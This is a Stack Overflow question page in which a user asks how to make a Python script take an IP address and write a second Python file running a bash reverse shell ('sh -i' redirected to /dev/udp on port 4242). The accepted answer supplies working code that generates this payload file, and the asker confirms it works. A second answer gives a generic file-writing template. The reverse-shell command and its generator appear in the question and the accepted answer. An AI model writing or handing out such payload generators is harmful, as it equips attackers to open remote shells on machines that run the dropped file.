-2

I have code similar to this

ip = input("Enter IP: ")

I need to make it after receving ip create new python file with this commands

import os
os.system('/bin/bash -c "setsid 
sh -i >& /dev/udp/"ip"/4242 
0>&1"') 

And instead of "ip" I need it to write ip that user entered

And second script shouldn't ask for input, it should take data from first

Dmirty Trecenko
  • 107
  • 1
  • 1
  • 8
  • Does this answer your question? [How can I print variable and string on same line in Python?](https://stackoverflow.com/questions/17153779/how-can-i-print-variable-and-string-on-same-line-in-python) – SiHa Jul 07 '20 at 10:55
  • are you normally using jupyter? :) – mama Jul 07 '20 at 10:56
  • I need to make my first python file create second python file with same variable, and it shouldn't ask user for input, it should take data from first file – Dmirty Trecenko Jul 07 '20 at 10:58

2 Answers2

1

You could do it with the following script:

ip = input("Enter IP: ")
bash_script = f"/bin/bash -c 'setsid sh -i >& /dev/udp/{ip}/4242 0>&1'"
other_python_script = f"""
import os
os.system(\"""{bash_script}\""")
"""

with open("otherscript.py", "w") as python_script_file:
    python_script_file.write(other_python_script)

Well, what is happening there?

  • First, I write the ip value in the string containing the bash script using the f-string and stores it in bash_script
  • Then, I use f-string to write the bash_script inside the python code string that will be inside the python file. This string is stored in the other_python_script variable.
  • Lastly, I just write the python code string in a file called otherscript.py.

And you will have a python file with the code you want.

You could do the first and second steps in on the same line. I separated into two lines of code for a matter of clarity. And this code works only in python 3.6^. Older versions should use other methods for write values into strings.

Erme Schultz
  • 319
  • 5
  • 17
  • Thanks, it worked, I understood everything except "as python_script_file" – Dmirty Trecenko Jul 07 '20 at 11:59
  • `python_script_file` is a [File Pointer](https://stackoverflow.com/questions/22589888/file-pointer-in-python). It was just opened differently from usual ways. Read more about _with statement_ [here](https://stackoverflow.com/questions/3012488/what-is-the-python-with-statement-designed-for). – Erme Schultz Jul 07 '20 at 13:25
  • Thank you!, U r the best – Dmirty Trecenko Jul 07 '20 at 14:34
1

Hopefully, this helps, please let me know if you need anything below explained.

import os

path = yourPathHere // insert your filePath here without the fileName itself
ip = input('insert ip address here: ') // this will contain the ip address
if not os.path.exists(path): // checks if the path does exist, if not
    os.makedirs(path) // make it

// this is a formatted string with the ip variable inside of it
pyFileContent = f'whatever/content/you/want/to/put/{ip}/whatever/else'

// creates a string of the name of your .py file
filename = 'yourPythonFileNameHere' + '.py' 

// this joins the name of filename.py and path, creates and opens it
with open(os.path.join(path, filename), 'w') as my_file:
    my_file.write(pyFileContent) // writes the content inside of it then closes